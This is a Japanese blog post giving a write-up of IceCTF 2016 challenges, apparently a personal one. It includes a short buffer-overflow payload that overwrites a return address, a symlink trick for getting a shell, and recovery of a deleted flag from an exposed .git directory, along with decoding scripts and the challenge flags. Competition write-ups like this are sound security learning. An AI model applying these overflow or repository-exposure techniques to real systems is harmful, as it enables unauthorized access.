BlogIsHowMuch

鑑賞した作品のレビューやプログラミング系のネタをダラダラ書いていくだけのブログ

IceCTF 2016 writeup

f:id:HowMuch:20160827195544p:plain

SOLUTION

Demo [pwn]

 指定された場所にdemo.cがあるので読んでみると、実行されたときのファイル名が「icesh」であればshellが取れることがわかる。

 lnコマンドで自分のディレクトリに「icesh」としてシンボリックリンクを作成して実行するとシェルが取れるのでflagが読める。

Smashing_Profit! [pwn]

gdbデバッグしてみると0x804850bに「flag.txt」を読み込んで表示してくれるflagなる関数が存在しているのでbofを利用してリターンアドレスを書き換えて実行する。

retAddr = "\x0b\x85\x04\x08" # 0x804850b
payload = "A" * 76
payload += retAddr
print(payload)

Flag: IceCTF{who_would_have_thunk?}

Rotated! [crypto]

 VprPGS{jnvg_bar_cyhf_1_vf_3?}をrot13で解読するだけ。

Flag:IceCTF{wait_one_plus_1_is_3?}

RSA? [crypto]

 RSA暗号だがe = 0x1であるので全く暗号化されていないというふざけた問題。

c = "4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d"
i = 0
try:
    while True:
        n = c[i]
        i += 1
        n += c[i]
        i += 1
        print(chr(int(n, 16)), end='')
except:
    print()
    pass

Flag:IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}

Spotlight [web]

デベロッパーツールを開くと、コンソールにflagを出力していた。 Flag:IceCTF{5tup1d_d3v5_w1th_th31r_l095}

Move Along

 表示されている画像データのおかれているディレクトリにブラウザからアクセスしたところ他にも覗けるデータがあった。

 その中にFlagの画像が隠されていた。

Flag:IceCTF{tH3_c4t_15_Ou7_oF_THe_b49}

Exposed! [web]

 「robots.txt」を除いたところ、「flag.php」が存在することが分かったのでアクセスしてみるも、何も表示されない。    「.git」も確認できるので、gitでwebをクローンしてlogを見る。

 どうやら「flag.txt」が途中でremoveされているらしいので、それより前の状態に戻して「flag.txt」を読んでFlagっぽいものが出てくるが、ダミーだったorz

 「index.php」に正解のFlagが隠されていたとチームメイトが見つけてくれたが、納得がいかないというかなぜそんなところに隠したんだよっていう。

All your Base are belong to us [misc]

 二進数のasciiで書かれたテキストがあるので、デコードするだけで終わり。

import sys
FILE_NAME = sys.argv[1]
with open(FILE_NAME, "r") as f:
    text = f.read() 

word_list = text.replace("\n", " ").split(" ")

for i in map(lambda x: chr(int(x, 2)), word_list[:-1]):
    print(i, end="")
print()

Flag:IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

IRC I [misc]

 LimeChatで指定されたIRCにアクセスして、それっぽいチャンネルをかたっぱしからのぞいていくと#78a99bb_flagshareでflagがshareされていた Flag:IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}

Hidden in Plain Sight [binary]

 よく覚えていないがgdbアセンブリを読んだら、ascii範囲内のバイトがやり取りされていたのでそれを集めて表示したらFlagだったような気がする(適当)

COMMENT

 意外と解ける問題、食らいつける問題がちらほらあって楽しめた。 二週間近く開催されていたのに参加したのは終了数日前で、時間が取れない中問題に取り組まなければならなかったので、もっと早く始めておけば良かったという感想。 チームとしての連携もちょっとではあるが発揮できたし、数か月前なら手も足も出ない問題が解けたりして成長が感じられてうれしい。